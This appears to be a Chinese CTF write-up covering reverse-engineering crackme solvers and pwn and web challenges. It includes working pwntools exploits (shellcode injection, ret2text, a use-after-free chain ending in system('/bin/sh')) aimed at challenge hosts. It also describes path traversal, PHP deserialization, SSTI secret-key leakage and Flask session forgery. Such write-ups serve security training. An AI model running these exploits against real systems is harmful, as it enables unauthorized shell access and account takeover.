def load_so(apk_path):
with zipfile.ZipFile(apk_path, "r") as apk:
return apk.read("lib/x86/libmyapplication.so")
def solve(apk_path):
so = load_so(apk_path)
key = so[KEY_OFF : KEY_OFF + 32]
nonce = so[NONCE_OFF : NONCE_OFF + 12]
target_hex = c_string(so, TARGET_HEX_OFF).decode("ascii")
ciphertext = bytes.fromhex(target_hex)
plaintext = chacha20_xor(ciphertext, key, nonce, COUNTER)
check = chacha20_xor(plaintext, key, nonce, COUNTER).hex()
if check != target_hex:
raise RuntimeError("verification failed")
return {
"key": key.hex(),
"nonce": nonce.hex(),
"counter": COUNTER,
"target_hex": target_hex,
"flag": plaintext.decode("utf-8"),
}
def main():
parser = argparse.ArgumentParser(description="Solve CrackMe_1_6 ChaCha20 check.")
parser.add_argument(
"apk",
nargs="?",
default=str(Path(__file__).with_name("CrackMe_1_6.apk")),
help="path to CrackMe_1_6.apk",
)
args = parser.parse_args()
result = solve(Path(args.apk))
print("[+] key =", result["key"])
print("[+] nonce =", result["nonce"])
print("[+] counter =", result["counter"])
print("[+] target hex =", result["target_hex"])
print("[+] flag =", result["flag"])
if __name__ == "__main__":
main()

Flag

flag{5c9c885c362542e0b262f58b62db8cec}

DES加密验证(SdTVdp)

跟踪校验链

附件 CrackMe_2_6.zip 中包含 CrackMe_2_6.apk。APK 的 assets 目录下还有 classes3.dexmy2.dexmyde.binlib/x86 中存在 libcrackme2.so

MainActivity 动态加载 classes3.dex,按钮回调最终反射调用 MainActivity.verifyFlag(String),所以真正的校验在 libcrackme2.so 中。

DES 是干扰项

verifyFlag 先将输入补齐到 8 字节边界,然后使用密钥 12345678 调用 DES-ECB。但 DES 调用结束后,bytesToHex 收到的是补齐后的原始输入缓冲区,而不是 DES 输出缓冲区。因此 DES 结果根本没有参与最终比较。

全局 EncryptedFlag 的目标值为 666c61677b686e6374667177657235343332317d04040404。转换为字节后去掉 PKCS#7 填充,即可得到 Flag。

解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
#!/usr/bin/env python3
from __future__ import annotations

import argparse
import io
import re
import sys
import zipfile
from pathlib import Path


HEX_RE = re.compile(rb"(?:[0-9a-f]{2}){8,}")


def read_so_from_apk(apk_bytes: bytes) -> bytes | None:
with zipfile.ZipFile(io.BytesIO(apk_bytes)) as apk:
for name in (
"lib/x86/libcrackme2.so",
"lib/armeabi-v7a/libcrackme2.so",
"lib/arm64-v8a/libcrackme2.so",
):
try:
return apk.read(name)
except KeyError:
pass
return None


def load_so_bytes(path: Path) -> tuple[bytes, str]:
if path.is_dir():
candidates = [
path / "apktool_out" / "lib" / "x86" / "libcrackme2.so",
path / "lib" / "x86" / "libcrackme2.so",
path / "extracted_zip" / "CrackMe_2_6.apk",
path / "CrackMe_2_6.apk",
path / "CrackMe_2_6.zip",
]
for candidate in candidates:
if candidate.exists():
return load_so_bytes(candidate)
raise FileNotFoundError(f"no APK/SO found under {path}")

suffix = path.suffix.lower()
data = path.read_bytes()

if suffix == ".so":
return data, str(path)

if suffix == ".apk":
so = read_so_from_apk(data)
if so is None:
raise FileNotFoundError("libcrackme2.so not found in APK")
return so, f"{path}!lib/x86/libcrackme2.so"

if suffix == ".zip":
with zipfile.ZipFile(path) as outer:
for name in outer.namelist():
if name.lower().endswith(".apk"):
so = read_so_from_apk(outer.read(name))
if so is not None:
return so, f"{path}!{name}!lib/x86/libcrackme2.so"
raise FileNotFoundError("APK/libcrackme2.so not found in zip")

raise ValueError(f"unsupported input: {path}")


def strip_pkcs7(buf: bytes, block_size: int = 8) -> bytes:
if not buf:
raise ValueError("empty buffer")
pad = buf[-1]
if not 1 <= pad <= block_size:
raise ValueError(f"bad padding length: {pad}")
if buf[-pad:] != bytes([pad]) * pad:
raise ValueError("bad PKCS#7 padding bytes")
return buf[:-pad]


def extract_flag(so: bytes) -> tuple[bytes, bytes, bytes, int]:
for match in HEX_RE.finditer(so):
hex_text = match.group()
try:
padded = bytes.fromhex(hex_text.decode("ascii"))
except ValueError:
continue
try:
plain = strip_pkcs7(padded, 8)
except ValueError:
continue
if plain.startswith(b"flag{") and plain.endswith(b"}"):
return hex_text, padded, plain, match.start()
raise RuntimeError("no padded flag hex string found")


def emulate_native_verify(candidate: str, expected_hex: bytes) -> bool:
raw = candidate.encode("utf-8")
pad = 8 - (len(raw) % 8)
padded = raw + bytes([pad]) * pad
# Native verifyFlag calls DES-ECB, but then hex-encodes the padded input
# buffer instead of the DES output buffer.
return padded.hex().encode("ascii") == expected_hex


def main(argv: list[str]) -> int:
parser = argparse.ArgumentParser(
description="Solve CrackMe_2_6 by extracting the native expected hex string."
)
parser.add_argument(
"target",
nargs="?",
default=".",
help="challenge directory, CrackMe_2_6.zip, APK, or libcrackme2.so",
)
args = parser.parse_args(argv)

so, origin = load_so_bytes(Path(args.target))
expected_hex, padded, flag, offset = extract_flag(so)

print(f"[+] source: {origin}")
print(f"[+] expected_hex_offset: 0x{offset:x}")
print(f"[+] expected_hex: {expected_hex.decode('ascii')}")
print(f"[+] padded_plain: {padded!r}")
print(f"[+] flag: {flag.decode('utf-8')}")
print(f"[+] native_verify(flag): {emulate_native_verify(flag.decode('utf-8'), expected_hex)}")
return 0


if __name__ == "__main__":
raise SystemExit(main(sys.argv[1:]))

Flag

flag{hnctfqwer54321}

PWN

MessageBoard(LFischl)

确认泄漏

先连接服务确认 banner,再发送一段测试数据,可以看到程序泄漏了 Buffer at: 0x... 形式的栈地址。

构造 Shellcode

覆盖返回地址的偏移为 136,即 0x80 字节栈缓冲区加 8 字节保存的 rbp。将 shellcode 补齐到 136 字节,然后覆盖返回地址为泄漏出的缓冲区地址。

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context.clear(arch='amd64', os='linux')
io = remote('120.27.146.76', 19743)
io.recvuntil(b'Buffer at: ')
buf = int(io.recvline().strip(), 16)
io.recvuntil(b'Message: ')
sc = asm(shellcraft.sh())
payload = sc.ljust(136, b'A') + p64(buf)
io.sendline(payload)
io.recvuntil(b'Thank you for your message!')
io.sendline(b'cat flag; cat /flag')
io.interactive()

Flag

flag{5e76f1da370f72f3dbac204eade3f3b7}

NoteService(LFischl)

确定覆盖偏移

服务在接收一行 note 后返回 Note saved. Thank you!。通过将不同长度的填充数据和 .text 地址组合,观察程序是否重新打印 banner,可以确定偏移为 72。

1
2
3
4
5
6
7
8
from pwn import *
for off in range(24, 129, 8):
io = remote("120.27.146.76", 20033)
io.recvuntil(b"Leave your note:")
io.send(b"A"*off + p64(0x401270) + b"\n")
out = io.recvrepeat(0.8)
print(off, repr(out))
io.close()

定位后门

题面说明程序内置了后门,因此直接在 0x401000–0x4012ff.text 范围内扫描。每次覆盖返回地址后发送 echo PWNMARK,根据回显确定后门入口为 0x40119e

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
HOST, PORT = "120.27.146.76", 20033
OFFSET = 72
for addr in range(0x401000, 0x401300):
io = remote(HOST, PORT)
io.recvuntil(b"Leave your note:")
io.send(b"A"*OFFSET + p64(addr) + b"\n")
try:
io.recv(timeout=0.3)
except:
pass
try:
io.sendline(b"echo PWNMARK")
out = io.recvrepeat(0.5)
if b"PWNMARK" in out:
print(hex(addr), repr(out))
break
except:
pass
io.close()

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python3
from pwn import *
import time
HOST, PORT = "120.27.146.76", 20033
OFFSET = 72
BACKDOOR = 0x40119e
io = remote(HOST, PORT)
io.recvuntil(b"Leave your note:")
io.send(b"A" * OFFSET + p64(BACKDOOR) + b"\n")
time.sleep(0.5)
io.sendline(b"cat /flag")
print(io.recvrepeat(1).decode(errors="ignore"))
io.close()

Flag

flag{91b9bad6c0adabc0c98bd5737ea93355}

Authenticate(SdTVdp)

附件 vuln.zip 解压后得到 vuln 二进制文件。

栈溢出与后门

login 函数中,用户名使用 read 读入 rbp-0x40,密码使用 gets 读入 rbp-0x80gets 没有长度检查,存在典型栈缓冲区溢出。

程序自带 backdoor 函数,核心是调用 system('/bin/sh')。由于程序未开启 PIE,后门地址固定,可以直接采用 ret2text。

password 缓冲区为 0x80 字节,加上 8 字节保存的 rbp,覆盖返回地址的偏移是 0x88,即 136 字节。为保证调用 system 时栈更稳定,返回地址选择 0x4011fe,跳过后门函数序言。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python3
import socket
import struct
import time
HOST = "47.99.147.34"
PORT = 27711
def p64(value):
return struct.pack("<Q", value)
def recv_some(sock, timeout=0.5):
sock.settimeout(timeout)
data = b""
while True:
try:
chunk = sock.recv(4096)
if not chunk:
break
data += chunk
except TimeoutError:
break
return data
with socket.create_connection((HOST, PORT), timeout=5) as s:
print(recv_some(s).decode(errors="ignore"), end="")
s.sendall(b"guest\n")
time.sleep(0.1)
print(recv_some(s).decode(errors="ignore"), end="")
payload = b"A" * 136 + p64(0x4011FE)
s.sendall(payload + b"\n")
time.sleep(0.2)
s.sendall(b"cat flag\n")
time.sleep(0.5)
print(recv_some(s, timeout=1).decode(errors="ignore"), end="")

Flag

flag{bda7ca24b316a799200260fa3ca545eb}

UserManager(SdTVdp)

Use After Free

程序开启 Full RELRO、Canary、NX 和 PIE,不适合直接覆写 GOT。在 IDA 中可以看到 RegisterLoginDeleteEdit 四个核心功能,每个 user 结构体由 data 指针、函数指针 p 和 size 组成。

Delete 先执行 free(users[id]->data),再执行 free(users[id]),但没有将 users[id] 置空。后续 LoginEdit 仍可以解引用这块已释放内存,形成 Use After Free。

利用思路

先申请一个 0x68 大小的 padding 用户,再申请 id=0size=0x18 的目标用户。删除 id=0 后,再注册 id=1size=0x18,新密码块会复用旧 user 结构体所在的 fastbin chunk,而 users[0] 仍然悬空指向这块内存。

此时 Edit(1) 可以改写 users[0] 所使用的伪结构体。先利用 strcmp 的成功/失败结果作为字节 oracle,逐字节泄漏 show 的真实地址并计算 PIE 基址;再将 data 指向 puts@got,泄漏 libc 基址和 system 地址。

最后将伪结构体改为 data = '/bin/sh'p = system,再次登录 id=0 即可执行 system('/bin/sh')

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
import time
import re

from pwn import *

context.binary = elf = ELF("./login", checksec=False)
libc = ELF("./libc-2.23.so", checksec=False)
context.arch = "amd64"

HOST = "120.27.146.76"
PORT = 26473
LD = "./ld-2.23.so"
# After the overlap is set up, users[0] points at the old struct chunk.
# The stale struct itself is reused as a data chunk, and its low byte is stable.
FAKE_STRUCT_LOW = 0xC0
def start():
if args.REMOTE:
for attempt in range(1, 16):
try:
io = remote(HOST, PORT, timeout=10)
banner = io.recvuntil(b"Your choice:", timeout=10)
io.unrecv(banner)
log.info("connected on attempt %d", attempt)
return io
except EOFError:
try:
io.close()
except Exception:
pass
log.warning("remote closed before banner, retrying (%d/15)", attempt)
time.sleep(2)
raise EOFError("remote service never reached menu")
return process([LD, "--library-path", ".", elf.path])
def byte_order():
common = [0x55, 0x7F, 0x00, 0x20, 0x40, 0x60, 0x80, 0xA0, 0xC0, 0xE0]
seen = set()
ordered = []
for value in common + list(range(0x100)):
if value not in seen:
seen.add(value)
ordered.append(value)
return ordered
BYTE_ORDER = byte_order()
RESULT_RE = re.compile(br"Login success!|Wrong password!")
def menu(io, choice):
io.sendlineafter(b"Your choice:", str(choice).encode())
def register(io, idx, size, data):
menu(io, 2)
io.sendlineafter(b"Input the user id:", str(idx).encode())
io.sendlineafter(b"Input the password length:", str(size).encode())
io.sendafter(b"Input password:", data)
io.recvuntil(b"Your choice:")
def delete(io, idx):
menu(io, 3)
io.sendlineafter(b"Input the user id:", str(idx).encode())
io.recvuntil(b"Your choice:")
def edit(io, idx, data):
menu(io, 4)
io.sendlineafter(b"Input the user id:", str(idx).encode())
io.sendafter(b"Input new pass:", data)
io.recvuntil(b"Your choice:")
def login_try(io, data):
menu(io, 1)
io.sendlineafter(b"Input the user id:", b"0")
io.sendlineafter(b"Input the passwords length:", str(len(data)).encode())
io.sendafter(b"Input the password:", data)
out = io.recvuntil(b"Your choice:")
return b"Login success!" in out
def build_login_attempt(data):
return b"1\n0\n" + str(len(data)).encode() + b"\n" + data
def recv_login_batch(io, count):
out = b""
while out.count(b"Your choice:") < count:
chunk = io.recv(timeout=20)
if not chunk:
raise EOFError("batch receive ended early")
out += chunk
return out
def find_success_index(out, count):
matches = RESULT_RE.findall(out)
if len(matches) < count:
raise EOFError("did not get enough login results")
for idx, marker in enumerate(matches[:count]):
if marker == b"Login success!":
return idx
raise RuntimeError("no candidate matched")
def setup_overlap(io):
register(io, 5, 0x68, b"P" * 0x68)
register(io, 0, 0x18, b"V" * 0x18)
delete(io, 0)
# Reuse the freed user struct as user1's password chunk. The old show pointer
# stays in place, so later we only need to rewrite the fake struct fields.
register(io, 1, 0x18, b"\xCD")
def set_fake_ptr_low(io, offset):
edit(io, 1, p8((FAKE_STRUCT_LOW + offset) & 0xFF))
def set_fake_ptr(io, addr):
edit(io, 1, p64(addr))
def set_fake_struct(io, data_ptr, func_ptr, tail=p64(0)):
edit(io, 1, p64(data_ptr) + p64(func_ptr) + tail)
def leak_six_bytes(io, setter, name):
leaked = [0] * 6
for pos in range(5, -1, -1):
setter(pos)
suffix = bytes(leaked[pos + 1 : 6])
attempts = [bytes([guess]) + suffix for guess in BYTE_ORDER]
io.send(b"".join(build_login_attempt(data) for data in attempts))
out = recv_login_batch(io, len(attempts))
hit = find_success_index(out, len(attempts))
leaked[pos] = BYTE_ORDER[hit]
log.info("%s[%d] = %#x -> %s", name, pos, leaked[pos], bytes(leaked).hex())
return u64(bytes(leaked) + b"\x00\x00")
def leak_show(io):
return leak_six_bytes(io, lambda pos: set_fake_ptr_low(io, 8 + pos), "show")
def leak_ptr(io, addr, name):
return leak_six_bytes(io, lambda pos: set_fake_ptr(io, addr + pos), name)
def spawn_shell(io):
bin_sh = next(libc.search(b"/bin/sh\x00"))
set_fake_struct(io, bin_sh, libc.sym.system)
menu(io, 1)
io.sendlineafter(b"Input the user id:", b"0")
io.sendlineafter(b"Input the passwords length:", b"7")
io.sendafter(b"Input the password:", b"/bin/sh")
io.recvuntil(b"Login success!")
def grab_flag(io):
cmd = (
b"[ -f /flag ] && echo '[flag] /flag' && cat /flag; "
b"[ -f ./flag ] && echo '[flag] ./flag' && cat ./flag; "
b"exit\n"
)
io.send(cmd)
data = io.recvuntil(b"Your choice:", timeout=5)
return data
def main():
for attempt in range(1, 6):
io = None
try:
log.info("exploit attempt %d", attempt)
io = start()
setup_overlap(io)
show_addr = leak_show(io)
elf.address = show_addr - elf.sym.show
log.success("PIE base = %#x", elf.address)
puts_addr = leak_ptr(io, elf.got.puts, "puts")
libc.address = puts_addr - libc.sym.puts
log.success("libc base = %#x", libc.address)
log.success("system = %#x", libc.sym.system)
spawn_shell(io)
out = grab_flag(io)
print(out.decode("latin-1", errors="replace"))
io.close()
return
except EOFError:
log.warning("attempt %d died on EOF, retrying", attempt)
if io is not None:
try:
io.close()
except Exception:
pass
time.sleep(2)
raise EOFError("exploit failed after retries")
if __name__ == "__main__":
main()

Flag

flag{2907d9f987682795f225bb190f2521d0}

WEB

Enterprise_OA(LFischl)

读取源码

页面通过 module 参数加载文件,先使用 PHP filter 伪协议读取源码,对返回的 Base64 数据解码。

关键代码仅使用 str_replace('../', '', $module) 删除一次 ../,然后直接 include($module)

1
2
3
4
<?php
$module = isset($_GET['module']) ? $_GET['module'] : 'public_notices.php';
$module = str_replace('../', '', $module);
include($module);

双写绕过

可以利用双写让替换后重新形成 ../,完成目录穿越并读取 Flag 文件。

Flag

flag{7d8caf43d039e33b2d0ad3572d8f82da}

PHP_Payment(LFischl)

定位反序列化入口

商城初始余额无法购买价值 99999 的 Flag,附件 src.zip 中包含优惠券处理接口 /api/apply_coupon.php

接口对 coupon 做 Base64 解码后直接调用 unserialize,存在 PHP 反序列化漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
session_start();
include '../config.php';
include '../models.php';
header('Content-Type: application/json');
if (!isset($_SESSION['user_id'])) {
die(json_encode(["error" => "Authentication required"]));
}
$couponData = $_POST['coupon'] ?? '';
if ($couponData === '') {
die(json_encode(["error" => "Empty coupon code"]));
}
$decoded = base64_decode($couponData);
if ($decoded === false) {
die(json_encode(["error" => "Invalid coupon format. Must be base64."]));
}
try {
$promo = @unserialize($decoded);
if ($promo === false) {
die(json_encode(["error" => "Failed to apply coupon."]));
}
} catch (Exception $e) {
die(json_encode(["error" => "Coupon parsing error."]));
}
echo json_encode(["success" => true, "message" => "Coupon processed."]);
?>

buy.php 要求余额不低于 99999,购买成功后返回 Flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
session_start();
include 'config.php';
header('Content-Type: application/json');
if (!isset($_SESSION['user_id'])) {
die(json_encode(["error" => "Authentication required"]));
}
$item = $_POST['item'] ?? '';
if ($item === '') {
die(json_encode(["error" => "Missing item parameter"]));
}
$items = [
'basic_vip' => 10,
'premium_vip' => 50,
'flag' => 99999
];
if (!array_key_exists($item, $items)) {
die(json_encode(["error" => "Invalid item."]));
}
$price = $items[$item];
if ($_SESSION['balance'] < $price) {
die(json_encode(["error" => "Insufficient funds! You only have " . intval($_SESSION['balance']) . " 金币."]));
}
$_SESSION['balance'] -= $price;
if ($item === 'flag') {
$flag = "flag{da91f6ee9d5cceef4705fd4f8af9e3f3}";
if (file_exists('/var/www/flag.php')) {
include '/var/www/flag.php';
if (isset($FLAG)) $flag = $FLAG;
}
echo json_encode(["success" => true, "message" => "购买 successful! Your Flag is [ " . $flag . " ]", "balance" => $_SESSION['balance']]);
} else {
echo json_encode(["success" => true, "message" => "购买 successful! Enjoy your " . htmlspecialchars($item) . ".", "balance" => $_SESSION['balance']]);
}
?>

构造优惠券

构造能在对象销毁时增加余额的序列化对象,再进行 Base64 编码后提交给优惠券接口。

优惠券生效后,向 /buy.php 发送 item=flag 即可完成购买。

Flag

flag{da91f6ee9d5cceef4705fd4f8af9e3f3}

Snake_Game(LFischl)

伪造分数

页面是一个贪吃蛇小游戏,分数达到 300 时服务端返回 Flag。分数直接通过 POST 参数上传,因此无需实际完成游戏。

1
2
3
4
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded

score=300

Flag

flag{d64789df977417240841c25834f4d77f}

TaxSystem_SSTI(LFischl)

源码分析

使用弱口令 admin / 123456 登录后分析源码,可以看到 Flag 被写入 SQLite 数据库,而获取 Flag 的管理员接口依赖 tax_inspector 角色。

SSTI 泄漏配置

/preview/<id> 使用 render_template_string 渲染 custom_footer。虽然黑名单过滤了 __requestsessionsystem 等关键字,但 /api/import 允许修改 statecustom_footer,可以将自己的 profile 改为:

1
2
3
4
{
"state": "AUDIT_PENDING",
"custom_footer": "{{config}}"
}

访问预览页后,{{config}} 泄漏 Flask 配置,其中包含 SECRET_KEY = secret_tax_key_2026_xoxo

伪造 Flask Session

1
2
3
4
5
6
7
8
from flask import Flask
from flask.sessions import SecureCookieSessionInterface
secret = 'secret_tax_key_2026_xoxo'
app = Flask(__name__)
app.secret_key = secret
serializer = SecureCookieSessionInterface().get_signing_serializer(app)
cookie = serializer.dumps({'user_id': 1, 'role': 'tax_inspector'})
print(cookie)

替换 Cookie 后访问 /admin/vault,即可以 tax_inspector 身份读取 Flag。

Flag

flag{7ca74b4a36594a4b3f1d84ba41425cbd}